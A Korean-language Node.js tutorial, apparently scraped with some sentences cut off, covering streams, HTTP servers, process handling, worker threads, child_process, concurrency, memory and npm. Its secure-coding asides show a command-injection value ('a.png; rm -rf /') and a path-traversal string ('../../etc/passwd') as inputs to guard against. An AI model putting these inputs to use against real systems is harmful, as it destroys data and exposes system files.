setInterval(() => {
console.log({
mean: h.mean / 1e6, // 평균 지연 (ms)
p99: h.percentile(99) / 1e6,
max: h.max / 1e6,
});
h.reset();
}, 5000);
// 판단 기준
// p99 < 10ms 정상
// p99 > 50ms 무언가 메인 스레드를 막고 있음 ★
// p99 > 200ms 사용자가 체감하는 수준 — 즉시 조사
메인 스레드를 막는 흔한 코드
// ① 동기 파일 API
const data = fs.readFileSync("big.json"); // ❌ 그동안 전부 정지
// → await fs.readFile() 로
// ② 큰 JSON
JSON.parse(hugeString); // ❌ 50MB 면 수백 ms
// → 스트리밍 파서(stream-json) 또는 워커로
// ③ 동기 암호화
crypto.pbkdf2Sync(pw, salt, 100000, 64, "sha512"); // ❌
// → 비동기 버전 사용 (libuv 스레드 풀로 감)
// ④ 큰 배열 반복
hugeArray.map(heavyTransform); // ❌ 100만 건이면 수 초
// → 청크로 나눠 setImmediate 사이에 양보하거나 워커로
// 양보 패턴 (급할 때)
for (let i = 0; i < items.length; i++) {
handleItem(items[i]); // ★ 이름을 process 로 지으면 전역 process 를 가립니다
if (i % 1000 === 0) await new Promise(r => setImmediate(r)); // ★ 숨통
}
파일 · 경로
가장 많이 쓰는 내장 모듈. 동기 API 만 피하면 절반은 성공입니다.
파일 다루기
import fs from "node:fs/promises"; // ★ 항상 promises 버전
import path from "node:path";
// 읽기 · 쓰기
const text = await fs.readFile("a.txt", "utf8"); // ★ 인코딩 지정 안 하면 Buffer
await fs.writeFile("b.txt", text, "utf8");
await fs.appendFile("log.txt", line + "\n");
// JSON
const conf = JSON.parse(await fs.readFile("config.json", "utf8"));
await fs.writeFile("out.json", JSON.stringify(data, null, 2));
// 존재 확인 — ★ existsSync 대신 이 방법
try {
await fs.access(file, fs.constants.R_OK);
} catch { /* 없거나 권한 없음 */ }
// 디렉터리
await fs.mkdir("a/b/c", { recursive: true }); // 중간 경로까지 생성
const files = await fs.readdir("dir");
const entries = await fs.readdir("dir", { withFileTypes: true });
for (const e of entries) if (e.isDirectory()) ...;
// 재귀 탐색 (Node 20+)
const all = await fs.readdir("src", { recursive: true });
// 삭제 · 이동 · 복사
await fs.rm("dir", { recursive: true, force: true });
await fs.rename("a.txt", "b.txt");
await fs.cp("src", "dst", { recursive: true });
// 정보
const st = await fs.stat("a.txt");
st.size; st.mtime; st.isFile();
경로 — 문자열로 붙이지 마세요
// ❌ 윈도우에서 깨집니다
const p = dir + "/" + name;
// ✅ 항상 path 모듈
path.join(dir, "sub", name); // 구분자 자동
path.resolve("a", "b"); // 절대 경로로
path.dirname(p); path.basename(p); path.extname(p);
path.parse(p); // { dir, base, name, ext }
// 확장자 바꾸기
path.format({ ...path.parse(p), base: undefined, ext: ".png" });
// ★ 경로 검증 — 보안상 매우 중요
const safe = path.resolve(UPLOAD_DIR, userInput);
if (!safe.startsWith(path.resolve(UPLOAD_DIR) + path.sep)) {
throw new Error("잘못된 경로"); // ../../etc/passwd 차단
}
path.join 하면
../../../etc/passwd 로 서버 파일을 읽을 수 있습니다.
resolve 후 시작 경로를 확인하는 습관을 들이세요.
대용량이면 스트림으로 (n05)
// ❌ 2GB 파일을 메모리에 통째로
const data = await fs.readFile("huge.csv"); // OOM
// ✅ 한 줄씩
import { createReadStream } from "node:fs";
import { createInterface } from "node:readline";
const rl = createInterface({ input: createReadStream("huge.csv") });
for await (const line of rl) { ... }
fs.watch 는 OS 마다 동작이 달라 까다롭습니다.
실무에서는 chokidar 를 쓰거나,
개발 중 재시작만 필요하면 node --watch 로 충분합니다.
스트림 · 버퍼
Node 의 가장 강력한 기능이자 가장 안 쓰이는 기능입니다.
왜 스트림인가
[통째로 읽기] 10GB 파일 → 메모리 10GB 필요 → 즉시 OOM
[스트림] 10GB 파일 → 64KB 씩 흘려보냄 → 메모리 수 MB
게다가 "첫 바이트가 도착하는 즉시" 처리를 시작할 수 있습니다.
파일 업로드·다운로드·CSV 처리·응답 압축이 전부 스트림입니다.
네 가지 종류
| 종류 | 예 |
|---|---|
| Readable | 파일 읽기, HTTP 요청 본문, process.stdin |
| Writable | 파일 쓰기, HTTP 응답, process.stdout |
| Duplex | 양방향 — TCP 소켓 |
| Transform | 변환하며 통과 — gzip, 암호화, CSV 파싱 |
import { pipeline } from "node:stream/promises";
import { createReadStream, createWriteStream } from "node:fs";
import { createGzip } from "node:zlib";
// ★ pipeline 을 쓰세요 — 에러 처리와 정리를 알아서 해 줍니다
await pipeline(
createReadStream("big.log"),
createGzip(),
createWriteStream("big.log.gz"),
);
// ❌ pipe 는 에러 시 스트림이 남아 메모리 누수가 됩니다
readable.pipe(gzip).pipe(writable);
직접 Transform 만들기
import { Transform } from "node:stream";
// CSV 한 줄씩 → 객체로 변환하며 필터링
const parseCsv = new Transform({
objectMode: true, // ★ 객체를 흘려보낼 때 필수
transform(chunk, enc, cb) {
const [id, name, amount] = String(chunk).split(",");
if (Number(amount) > 10000) {
this.push({ id, name, amount: Number(amount) });
}
cb(); // ★ 반드시 호출 (안 하면 멈춤)
},
});
await pipeline(
createReadStream("orders.csv"),
splitLines,
parseCsv,
async function* (source) { // 비동기 제너레이터도 됩니다
for await (const row of source) {
await db.insert(row);
yield `${row.id} 처리\n`;
}
},
createWriteStream("result.log"),
);
pipeline 과 pipe 는 이것을 자동으로 조절합니다.
직접 on("data") 로 처리하면 이 보호가 사라지므로 주의하세요.
Buffer — 이진 데이터
const buf = Buffer.from("안녕", "utf8");
buf.length; // 6 (한글은 3바이트)
buf.toString("base64"); // "7JWI64WV"
Buffer.from(b64, "base64").toString("utf8");
// 자주 쓰는 곳
crypto.randomBytes(32).toString("hex"); // 토큰 생성
Buffer.concat([a, b]); // 청크 합치기
// ⚠️ 한글을 청크 경계에서 자르면 깨집니다
// → StringDecoder 를 쓰거나 스트림에 인코딩을 지정하세요
import { StringDecoder } from "node:string_decoder";
--max-old-space-size 로 힙을 제한해도
Buffer 를 많이 잡으면 컨테이너 메모리 한도에 먼저 걸립니다.
업로드 파일을 전부 Buffer 로 받는 코드가 대표적인 원인입니다.
HTTP 서버 직접 만들기
Express 가 무엇을 대신해 주는지 알면 프레임워크를 훨씬 잘 쓰게 됩니다.
프레임워크 없이
import { createServer } from "node:http";
const server = createServer(async (req, res) => {
// 라우팅을 직접 해야 합니다
const url = new URL(req.url, `http://${req.headers.host}`);
if (req.method === "GET" && url.pathname === "/health") {
res.writeHead(200, { "Content-Type": "application/json" });
return res.end(JSON.stringify({ ok: true }));
}
if (req.method === "POST" && url.pathname === "/api/users") {
// ★ 본문도 직접 모아야 합니다 (스트림으로 옵니다)
const chunks = [];
for await (const c of req) chunks.push(c);
const body = JSON.parse(Buffer.concat(chunks).toString());
res.writeHead(201, { "Content-Type": "application/json" });
return res.end(JSON.stringify({ id: 1, ...body }));
}
res.writeHead(404).end("Not Found");
});
server.listen(3000, () => console.log("http://localhost:3000"));
운영에서 반드시 챙길 것
// ① 타임아웃 (기본값이 관대합니다)
server.requestTimeout = 30_000; // 요청 하나의 최대 시간
server.headersTimeout = 10_000; // 헤더 수신 대기
server.keepAliveTimeout = 65_000; // ★ 로드밸런서보다 길게!
// ② 우아한 종료 — 무중단 배포의 핵심
process.on("SIGTERM", async () => {
console.log("종료 신호 수신");
server.close(async () => { // 새 연결 차단, 진행 중인 요청은 완료
await db.end();
await redis.quit();
process.exit(0);
});
setTimeout(() => process.exit(1), 30_000).unref(); // 강제 종료 안전장치
});
// ③ 요청 본문 크기 제한 (안 하면 메모리 공격에 노출)
let size = 0;
for await (const c of req) {
size += c.length;
if (size > 1_000_000) { res.writeHead(413).end(); return; }
}
keepAliveTimeout 이 로드밸런서보다 짧으면
간헐적으로 502 에러가 발생합니다.
LB 가 재사용하려던 연결을 Node 가 먼저 끊어서 생기는 현상입니다.
AWS ALB 기본값이 60초이므로 Node 는 65초 이상으로 두세요.
(🚀 대규모 트래픽 k14 에서 무중단 배포 전체를 다룹니다)
HTTP 클라이언트 — 내장 fetch
// Node 18+ 는 fetch 가 내장입니다 (axios 없이도 충분)
const res = await fetch("https://api.example.com/data", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ q: 1 }),
signal: AbortSignal.timeout(3000), // ★ 타임아웃 필수
});
if (!res.ok) throw new Error(`HTTP ${res.status}`);
const data = await res.json();
// 커넥션 재사용 (성능 차이가 큽니다)
import { Agent, setGlobalDispatcher } from "undici";
setGlobalDispatcher(new Agent({ keepAliveTimeout: 60_000, connections: 100 }));
이벤트 이미터
Node 내부가 전부 이 구조입니다. 서버·스트림·소켓 모두 EventEmitter 입니다.
기본 사용
import { EventEmitter, once, on } from "node:events";
class OrderService extends EventEmitter {
async create(dto) {
const order = await this.repo.save(dto);
this.emit("created", order); // ★ 알림만 하고 신경 안 씀
return order;
}
}
const svc = new OrderService();
svc.on("created", (o) => sendMail(o)); // 여러 개 등록 가능
svc.on("created", (o) => updateStats(o));
svc.once("ready", () => init()); // 한 번만
// Promise 로 기다리기
const [order] = await once(svc, "created");
// 비동기 이터레이터로 받기
for await (const [order] of on(svc, "created")) { ... }
// 정리
svc.off("created", handler);
svc.removeAllListeners("created");
MaxListenersExceededWarning: 11 listeners added 는
리스너를 등록만 하고 해제하지 않는다는 신호입니다.
setMaxListeners 로 숫자를 올리는 것은 해결이 아니라 은폐입니다.
(🧬 전문가 d04 메모리 누수)
실무에서 주의할 점
// ① 비동기 리스너의 에러는 잡히지 않습니다
svc.on("created", async (o) => {
await sendMail(o); // ❌ 실패하면 unhandledRejection
});
// ✅ 반드시 감싸세요
svc.on("created", (o) => {
sendMail(o).catch(err => logger.error({ err }, "메일 발송 실패"));
});
// ② "error" 이벤트는 특별합니다 — 리스너가 없으면 프로세스가 죽습니다
emitter.emit("error", new Error("펑")); // 리스너 없으면 crash
emitter.on("error", (e) => logger.error(e)); // ★ 반드시 등록
// ③ emit 은 동기입니다
emitter.emit("x"); // 모든 리스너가 "즉시" 순서대로 실행됨
console.log("이 줄은 리스너들이 다 끝난 뒤에 실행됩니다");
언제 쓰고 언제 쓰지 말까
좋은 사용
- 진행률 알림 (업로드·배치)
- 플러그인·훅 구조
- 내부 모듈 간 느슨한 결합
- 스트림·소켓 이벤트 처리
나쁜 사용
- 서비스 간 비동기 작업 큐 대용 → 프로세스가 죽으면 사라집니다
- 순서·재시도가 필요한 처리
- 여러 서버에 전파해야 하는 이벤트
프로세스 · 환경 변수
설정과 종료 처리. 운영에서 사고가 나는 자리입니다.
환경 변수 다루기
process.env.NODE_ENV; // 항상 string | undefined
process.argv.slice(2); // CLI 인자
process.cwd(); // 실행 위치 (파일 위치와 다릅니다!)
process.pid; process.uptime(); process.memoryUsage();
// Node 20+ 는 .env 를 내장으로 읽습니다 (dotenv 불필요)
// node --env-file=.env app.js
// ★ 시작할 때 한 번 검증하세요 — 실무 필수 패턴
import { z } from "zod";
const EnvSchema = z.object({
NODE_ENV: z.enum(["development", "production", "test"]),
PORT: z.coerce.number().default(3000), // 문자열 → 숫자 변환
DATABASE_URL: z.url(),
JWT_SECRET: z.string().min(32),
REDIS_URL: z.url().optional(),
});
export const env = EnvSchema.parse(process.env);
// ★ 값이 없거나 형식이 틀리면 "부팅 시점에" 죽습니다.
// 운영 중에 undefined 로 터지는 것보다 백 배 낫습니다.
env.PORT; // number 로 타입까지 확정됨
.env 는 반드시 .gitignore 에,
운영 값은 Secret Manager·K8s Secret·환경 변수로 주입합니다.
커밋된 적이 있다면 키를 폐기하고 새로 발급하세요 — 히스토리에 영원히 남습니다.
시그널과 우아한 종료
// 컨테이너는 종료할 때 SIGTERM 을 보냅니다
async function shutdown(signal) {
logger.info({ signal }, "종료 시작");
server.close(); // ① 새 요청 안 받기
await new Promise(r => setTimeout(r, 5000)); // ② LB 가 알아챌 시간
await queue.close(); // ③ 작업 큐 정리
await db.end(); // ④ DB 커넥션 반납
await redis.quit();
logger.info("정상 종료");
process.exit(0);
}
process.on("SIGTERM", () => shutdown("SIGTERM")); // 컨테이너·PM2
process.on("SIGINT", () => shutdown("SIGINT")); // Ctrl+C
// 안전장치 — 30초 안에 못 끝내면 강제 종료
process.on("SIGTERM", () => {
setTimeout(() => { logger.fatal("강제 종료"); process.exit(1); },
30_000).unref();
});
CMD npm start 로 실행하면 npm 이 PID 1 이 되어
시그널이 Node 까지 전달되지 않습니다.
CMD ["node", "dist/index.js"] 형태로 직접 실행하세요.
(🧰 도구 o12 · 🚀 대규모 k14)
종료 코드
0 정상
1 일반 오류
137 SIGKILL — ★ 컨테이너 메모리 초과(OOMKilled)일 가능성이 높음
143 SIGTERM — 정상적인 종료 요청
"이유 없이 재시작된다" 면 종료 코드부터 확인하세요.
137 이면 애플리케이션 로그에는 아무것도 안 남습니다.
worker_threads · 클러스터
싱글 스레드의 한계를 넘는 두 가지 방법. 목적이 완전히 다릅니다.
무엇을 언제 쓰나
| 도구 | 목적 |
|---|---|
| worker_threads | CPU 작업을 메인 스레드에서 빼내기. 메모리 공유 가능 |
| cluster | 같은 서버를 CPU 개수만큼 띄워 처리량 늘리기 |
| child_process | 다른 프로그램 실행 (n10) |
| K8s 레플리카 | 클러스터의 상위 대안 — 요즘은 이쪽이 더 흔합니다 |
워커 스레드 — CPU 작업 분리
// heavy-worker.js
import { parentPort, workerData } from "node:worker_threads";
function heavyCalc(data) { /* 오래 걸리는 계산 */ return result; }
parentPort.postMessage(heavyCalc(workerData));
// main.js — Promise 로 감싸 쓰기
import { Worker } from "node:worker_threads";
function runWorker(data) {
return new Promise((resolve, reject) => {
const w = new Worker("./heavy-worker.js", { workerData: data });
w.on("message", resolve);
w.on("error", reject);
w.on("exit", (code) => {
if (code !== 0) reject(new Error(`워커 종료 코드 ${code}`));
});
});
}
app.post("/report", async (req, res) => {
const result = await runWorker(req.body); // ★ 메인 스레드는 계속 다른 요청 처리
res.json(result);
});
piscina 라이브러리가 사실상 표준입니다.
워커 풀 — 실무 형태
import Piscina from "piscina";
const pool = new Piscina({
filename: new URL("./worker.js", import.meta.url).href,
maxThreads: 4, // ★ CPU 코어 수 이하로
idleTimeout: 30_000,
});
const result = await pool.run({ imagePath }); // 알아서 풀에서 배정
클러스터 — 코어를 다 쓰기
import cluster from "node:cluster";
import { availableParallelism } from "node:os";
if (cluster.isPrimary) {
const n = availableParallelism();
for (let i = 0; i < n; i++) cluster.fork();
cluster.on("exit", (worker, code) => {
logger.warn({ pid: worker.process.pid, code }, "워커 종료 — 재시작");
cluster.fork(); // ★ 죽으면 다시 띄우기
});
} else {
startServer(); // 워커들이 같은 포트를 공유합니다
}
# PM2 — 코드 수정 없이 클러스터 + 무중단 재시작
pm2 start dist/index.js -i max # 코어 수만큼
pm2 reload app # ★ 무중단 재시작
pm2 monit
setInterval 스케줄러가
프로세스마다 따로 존재하게 됩니다.
상태는 Redis 같은 외부 저장소로 옮기세요(🚀 대규모 k11).
child_process — 다른 프로그램 실행
ffmpeg · 파이썬 스크립트 · 셸 명령을 Node 에서 호출합니다.
네 가지 방법
| 함수 | 특징 |
|---|---|
| spawn | 스트림으로 주고받음. 출력이 크면 이것 |
| execFile | 결과를 한 번에. 셸을 안 거쳐 안전 ★ |
| exec | 셸을 거침 — 명령어 주입 위험 |
| fork | Node 스크립트 전용 (IPC 채널 포함) |
import { execFile, spawn } from "node:child_process";
import { promisify } from "node:util";
const execFileAsync = promisify(execFile);
// ✅ 안전 — 인자를 배열로 넘기면 셸 해석이 없습니다
const { stdout } = await execFileAsync("git", ["log", "-1", "--format=%H"]);
// ❌ 위험 — 사용자 입력이 그대로 셸 명령이 됩니다
exec(`convert ${userInput} out.png`);
// userInput 이 "a.png; rm -rf /" 라면?
exec 에 사용자 입력이 들어가는 코드는 절대 만들지 마세요.
반드시 execFile·spawn 에 인자 배열로 넘기고,
파일명은 화이트리스트로 검증하세요.
스트림으로 다루기
// ffmpeg 로 동영상 변환하며 진행률 받기
const ff = spawn("ffmpeg", [
"-i", input, "-vf", "scale=640:-1", "-y", output,
]);
ff.stderr.on("data", (chunk) => { // ffmpeg 는 stderr 로 진행률을 냅니다
const m = String(chunk).match(/time=(\S+)/);
if (m) sendProgress(m[1]);
});
await new Promise((resolve, reject) => {
ff.on("close", (code) =>
code === 0 ? resolve() : reject(new Error(`ffmpeg 실패 ${code}`)));
ff.on("error", reject); // ★ 실행 파일 자체가 없을 때
});
// 파이썬 스크립트에 데이터 넘기고 결과 받기
const py = spawn("python3", ["analyze.py"]);
py.stdin.write(JSON.stringify(data));
py.stdin.end();
let out = "";
for await (const c of py.stdout) out += c;
const result = JSON.parse(out);
{ timeout: 30_000 })을 반드시 주세요,
② maxBuffer 기본값(1MB)을 넘으면 에러가 납니다,
③ 프로세스가 좀비로 남지 않게 종료 처리(kill)를 하세요,
④ 컨테이너 이미지에 해당 실행 파일이 들어 있는지 확인하세요 — 로컬만 되는 흔한 실수입니다.
비동기 동시 실행 제어
Promise.all 에 1,000개를 넣는 순간 상대 서버가 죽습니다.
문제 상황
// ❌ 10,000개 요청을 동시에 발사
await Promise.all(users.map(u => sendEmail(u)));
// 무슨 일이 일어나나
// · 소켓 10,000개 동시 오픈 → EMFILE (파일 디스크립터 고갈)
// · 메일 서버가 429/503 으로 차단
// · 메모리에 10,000개의 Promise + 응답 버퍼
// · DB 라면 커넥션 풀이 즉시 고갈
// ★ "동시에 몇 개까지" 를 반드시 정해야 합니다
직접 구현 — 개념 이해용
async function mapLimit(items, limit, fn) {
const results = new Array(items.length);
let index = 0;
async function worker() {
while (index < items.length) {
const i = index++; // ★ 원자적으로 하나씩 가져감
results[i] = await fn(items[i], i);
}
}
await Promise.all(
Array.from({ length: Math.min(limit, items.length) }, worker));
return results;
}
await mapLimit(users, 10, sendEmail); // 동시에 10개씩
실무 — 라이브러리를 쓰세요
import pLimit from "p-limit";
import pRetry from "p-retry";
const limit = pLimit(10); // 동시 10개
const results = await Promise.all(
users.map(u => limit(() => sendEmail(u)))
);
// 재시도까지 조합 (지수 백오프 + 지터 내장)
await pLimit(5)(() =>
pRetry(() => callFlakyApi(id), {
retries: 3,
minTimeout: 200,
onFailedAttempt: (e) => logger.warn({ attempt: e.attemptNumber }),
}));
// ★ 배치로 나눠 처리 (DB 대량 작업의 정석)
const chunk = (arr, n) =>
Array.from({ length: Math.ceil(arr.length / n) },
(_, i) => arr.slice(i * n, i * n + n));
for (const batch of chunk(rows, 1000)) {
await db.insertMany(batch); // 1,000건씩 커밋
await new Promise(r => setImmediate(r)); // 이벤트 루프에 양보
}
· DB — 커넥션 풀 크기보다 작게
· 외부 API — 상대의 rate limit 문서를 보고
· 파일 I/O — libuv 스레드 풀(기본 4) 근처
· 모르겠으면 5~10 에서 시작해 측정하며 올리세요
for...of + await 는 완전 순차입니다.
1,000건 × 100ms = 100초가 걸립니다.
“안전하다”는 이유로 무조건 순차로 도는 코드가 실무에 정말 많습니다.
제한된 병렬이 거의 항상 정답입니다.
에러 · 크래시 대응
Node 서버는 에러 하나로 프로세스 전체가 죽습니다. 대비가 필요합니다.
프로세스를 죽이는 것들
// ① 처리되지 않은 예외
setTimeout(() => { throw new Error("펑"); }, 0);
// ② 처리되지 않은 Promise 거부 (Node 15+ 부터 기본이 crash)
async function f() { throw new Error("펑"); }
f(); // await 도 catch 도 없음 → 프로세스 종료
// ③ EventEmitter 의 error 이벤트에 리스너 없음
socket.emit("error", err);
// ④ 메모리 초과 (OOM)
// ⑤ 스택 오버플로 (무한 재귀)
// 최상위 안전망 — 로그를 남기고 "깨끗하게" 종료
process.on("uncaughtException", (err, origin) => {
logger.fatal({ err, origin }, "처리되지 않은 예외");
// 여기서 계속 돌리면 안 됩니다 — 상태를 신뢰할 수 없습니다
gracefulExit(1);
});
process.on("unhandledRejection", (reason) => {
logger.fatal({ reason }, "처리되지 않은 Promise 거부");
gracefulExit(1);
});
function gracefulExit(code) {
server.close(() => process.exit(code));
setTimeout(() => process.exit(code), 5000).unref();
}
운영 에러 vs 프로그래머 에러
| 구분 | 대응 |
|---|---|
| 운영 에러 (네트워크 끊김, 404, 검증 실패) |
예상 가능 — 잡아서 처리하고 계속 돌립니다 |
| 프로그래머 에러 (undefined 참조, 타입 오류) |
버그 — 잡지 말고 죽이세요. 숨기면 더 이상한 상태가 됩니다 |
// 에러 클래스로 구분 (🟨 JS j08 · 🚂 Express x06)
class AppError extends Error {
constructor(msg, { status = 500, code, retryable = false } = {}) {
super(msg);
this.name = this.constructor.name;
this.status = status; this.code = code;
this.isOperational = true; // ★ 이 플래그로 구분
this.retryable = retryable;
}
}
// 핸들러에서
if (err.isOperational) {
res.status(err.status).json({ code: err.code, message: err.message });
} else {
logger.error({ err }, "예상치 못한 오류");
res.status(500).json({ message: "서버 오류" }); // ★ 내부 정보 노출 금지
}
스택 트레이스 제대로 보기
# async 스택이 잘려 보일 때
node --stack-trace-limit=50 app.js
# TypeScript 빌드 결과의 스택을 원본으로
npm i source-map-support
node -r source-map-support/register dist/index.js
# 또는 tsconfig 에 "sourceMap": true 후 --enable-source-maps 플래그
node --enable-source-maps dist/index.js
throw new Error("실패") 는 아무 도움이 안 됩니다.
어떤 사용자·어떤 주문·어떤 요청 ID 인지를 함께 남겨야
운영에서 재현할 수 있습니다(n16 구조화 로깅).
성능 · 메모리
느려지거나 메모리가 늘 때 어디를 보는지 정리합니다.
메모리 구조와 한도
process.memoryUsage();
// {
// rss: 상주 메모리 전체 (컨테이너가 보는 값)
// heapTotal: V8 이 확보한 힙
// heapUsed: 실제 사용 중인 힙 ★ 이게 계속 늘면 누수
// external: Buffer 등 힙 밖 (C++ 객체)
// arrayBuffers: ArrayBuffer
// }
# 힙 한도 설정 — 컨테이너 메모리의 70~75% 정도로
node --max-old-space-size=1536 app.js # 2GB 컨테이너 기준
# 안 정해도 Node 20+ 는 cgroup 한도를 읽어 기본 힙을 잡아 줍니다.
# 그래도 못 박아 두는 편이 사고를 줄입니다 (아래 설명)
memory.max 를 읽어
V8 기본 힙 크기를 컨테이너에 맞춰 잡습니다.
그래도 --max-old-space-size 를 컨테이너 메모리의 70~75% 로
직접 지정하는 이유는 —
① Buffer·네이티브 모듈·스레드 스택은 힙 밖이라 자동 산정값에도 여유가 없을 수 있고,
② 사이드카가 붙은 파드에서는 파드 전체 한도와 컨테이너 한도가 어긋나며,
③ 값을 못 박아야 OOMKilled(exit 137) 대신
V8 의 heap out of memory 스택을 로그로 받을 수 있기 때문입니다.
메모리 누수의 흔한 원인
- 무한히 커지는 Map/배열 — 캐시에 TTL·최대 크기가 없음
- 해제 안 된 이벤트 리스너 — 요청마다 등록만 함
- 정리 안 된 타이머 —
setInterval을clearInterval안 함 - 클로저가 큰 객체를 붙잡음 — 응답 전체를 캡처한 콜백
- 전역 변수 누적 — 요청 정보를 모듈 스코프에 저장
측정 도구
# ① 힙 스냅샷 — 무엇이 메모리를 잡고 있나
node --inspect app.js
# Chrome 에서 chrome://inspect → Memory → Heap snapshot
# ★ 부하 전/후 두 장을 찍어 "Comparison" 으로 비교하는 것이 핵심
# 코드에서 직접 찍기
import { writeHeapSnapshot } from "node:v8";
writeHeapSnapshot("/tmp/heap.heapsnapshot");
# ② CPU 프로파일 — 어디서 시간을 쓰나
node --cpu-prof --cpu-prof-dir=./prof app.js
# .cpuprofile 파일을 Chrome DevTools 에 드래그
# ③ 간단한 벤치마크
import { performance } from "node:perf_hooks";
const t = performance.now();
doWork();
console.log(performance.now() - t, "ms");
# ④ 부하 테스트 (🚀 대규모 k13)
npx autocannon -c 100 -d 30 http://localhost:3000/api
성능 개선 순서
1) 측정한다 ← 이걸 건너뛰면 대부분 헛수고
2) DB 쿼리를 본다 ← 90%가 여기 (인덱스·N+1)
3) 불필요한 await 를 병렬로 ← Promise.all
4) 이벤트 루프 지연을 확인 ← 동기 코드가 막고 있는지 (n03)
5) 캐시를 넣는다 ← Redis (🚀 k03)
6) CPU 작업을 워커로 ← n09
7) 그래도 부족하면 수평 확장 ← 🚀 k11
--max-old-space-size 부터 올리지 마세요.
내장 기능 — 라이브러리 없이
최근 Node 는 테스트·fetch·watch·.env 를 전부 내장했습니다.
내장 테스트 러너 Node 20+
// test/user.test.js
import { test, describe, before, mock } from "node:test";
import assert from "node:assert/strict";
describe("UserService", () => {
before(async () => { await db.migrate(); });
test("이메일이 중복이면 실패한다", async () => {
await createUser({ email: "a@b.c" });
await assert.rejects(
() => createUser({ email: "a@b.c" }),
/중복/,
);
});
test("모킹", () => {
const fn = mock.fn(() => 42);
assert.equal(fn(), 42);
assert.equal(fn.mock.callCount(), 1);
});
});
node --test # test/ 아래 전부 실행
node --test --watch # 저장하면 재실행
node --test --experimental-test-coverage # 커버리지
그 밖의 내장 기능
# 파일 감시 재시작 (nodemon 불필요)
node --watch src/index.js
node --watch-path=./src --watch-path=./config app.js
# .env 읽기 (dotenv 불필요) Node 20.6+
node --env-file=.env --env-file=.env.local app.js
# TypeScript 를 그대로 실행 (Node 24+ 기본 · Node 26 에서 정식)
node src/index.ts
# · 타입 "지우기"만 합니다 — 타입 검사는 tsc --noEmit 로 따로
# · enum · 구 데코레이터 · namespace 같은 "코드를 만들어 내는" 문법은 안 됩니다
# → tsconfig 에 "erasableSyntaxOnly": true 를 켜 두면 미리 막아 줍니다
# 단일 실행 파일로 패키징 (Node 20+, 실험적)
node --experimental-sea-config sea-config.json
Node 26 에서 새로 생긴 것
# package.json 의 scripts 를 npm 없이 바로 실행 — 훨씬 빠릅니다
# (이건 Node 22 부터 정식 기능입니다. 24 에서도 그대로 됩니다)
node --run build
node --run test -- --grep user
# 테스트 러너 보강
node --test --test-random-order # 순서 의존 테스트를 찾아냅니다
node --test --test-name-tag=slow # 태그로 골라 실행
// SQLite 가 런타임에 들어 있습니다 (better-sqlite3 불필요)
// 22.13 · 23.4 부터 --experimental-sqlite 플래그가 필요 없고,
// 25.7 부터 "릴리스 후보" 단계입니다
import { DatabaseSync } from "node:sqlite";
const db = new DatabaseSync("app.db");
db.exec(`CREATE TABLE IF NOT EXISTS todo (id INTEGER PRIMARY KEY, t TEXT)`);
db.prepare("INSERT INTO todo (t) VALUES (?)").run("장보기");
console.log(db.prepare("SELECT * FROM todo").all());
// 새 표준 내장 (Node 26)
const cache = new Map();
cache.getOrInsertComputed("user:1", (k) => loadUser(k)); // 없으면 만들어 넣고 반환
for (const x of Iterator.concat([1, 2].values(), [3].values())) { /* 1,2,3 */ }
// Temporal 이 전역으로 들어왔습니다 (j-탭 날짜 절 참고)
Temporal.Now.instant().toString(); // 2026-08-04T05:00:00Z
// fetch · FormData · WebSocket 전부 내장 (Node 18+ / 22+)
const res = await fetch(url);
const ws = new WebSocket("wss://..."); // Node 22+
// 구조화 복제 · UUID · 타이머 Promise 버전
structuredClone(obj);
crypto.randomUUID();
import { setTimeout as sleep } from "node:timers/promises";
await sleep(1000); // ★ 깔끔한 지연
// 유용한 내장 유틸
import { parseArgs } from "node:util"; // CLI 인자 파싱 (Node 18.3+)
const { values } = parseArgs({
options: { port: { type: "string", short: "p" } },
});
package.json 의 engines 에 최소 버전을 명시하고,
CI 와 운영 이미지의 Node 버전을 같게 맞추세요.
“로컬에서는 되는데 서버에서 안 된다”의 흔한 원인입니다.
패키지 · npm 스크립트
의존성 관리에서 사고가 나면 팀 전체가 멈춥니다.
install vs ci
npm install # lock 파일을 "고칠 수 있음" — 개발용
npm ci # ★ lock 그대로 설치, node_modules 삭제 후 재설치
# CI·Docker 는 반드시 이것 (재현성 + 속도)
npm install --save-exact pkg # 정확한 버전으로 고정
npm outdated # 오래된 패키지 확인
npm update # semver 범위 안에서 갱신
npm audit # ★ 알려진 취약점 검사
npm audit fix # 자동 수정 (major 변경은 안 함)
npm ls pkg # 이 패키지가 왜 설치됐는지 추적
버전 표기 읽기
"express": "^5.2.1" ^ = 마이너·패치 허용 5.x.x ★ 기본값
"express": "~5.2.1" ~ = 패치만 허용 5.2.x
"express": "5.2.1" 정확히 이 버전
"express": "*" 아무거나 — ❌ 절대 금지
★ lock 파일이 있으면 실제 설치 버전은 lock 이 결정합니다.
그래서 lock 파일 커밋이 필수입니다.
@types/*)·테스트·린트는 dev 입니다.
운영 이미지에서 npm ci --omit=dev 로 설치하면
이미지 크기가 절반 이하가 됩니다(🧰 도구 o12).
실무 npm 스크립트
{
"scripts": {
"dev": "node --watch --env-file=.env src/index.js",
"build": "tsc -p tsconfig.build.json",
"start": "node dist/index.js",
"test": "node --test",
"test:watch": "node --test --watch",
"lint": "eslint . --max-warnings 0",
"format": "prettier --write .",
"typecheck": "tsc --noEmit",
"check": "npm run typecheck && npm run lint && npm test",
"prepare": "husky"
}
}
# 스크립트에 인자 넘기기
npm run test -- --grep "user"
# 라이프사이클 훅 (자동 실행)
preinstall / postinstall / prepare / prepublishOnly
# ⚠️ postinstall 은 보안 위험입니다 — 악성 패키지의 주요 통로
npm ci --ignore-scripts # 필요하면 차단
left-pad 사건 이후로도 의존성 하나가 서비스를 멈추는 일은 계속 일어납니다
(🧬 전문가 d13 공급망 보안).
디버깅 · 로깅
console.log 를 지우는 것부터가 시작입니다.
디버거 붙이기
# Chrome DevTools 로 디버깅
node --inspect src/index.js # 9229 포트
node --inspect-brk src/index.js # 첫 줄에서 멈춤
# chrome://inspect 에서 연결
# 컨테이너 안의 프로세스에 붙기
node --inspect=0.0.0.0:9229 app.js
docker run -p 9229:9229 ...
# VS Code 는 launch.json 없이도 "JavaScript Debug Terminal" 에서
# 그냥 npm run dev 하면 브레이크포인트가 걸립니다 ★
console 의 쓸모 있는 기능
console.table(users); // 객체 배열을 표로 ★
console.time("db"); ... console.timeEnd("db");
console.dir(obj, { depth: null }); // 깊은 객체 전부 펼치기
console.trace("여기까지 어떻게 왔나"); // 호출 스택
console.count("hit"); // 호출 횟수
// 조건부 디버그 로그 (내장 util)
import { debuglog } from "node:util";
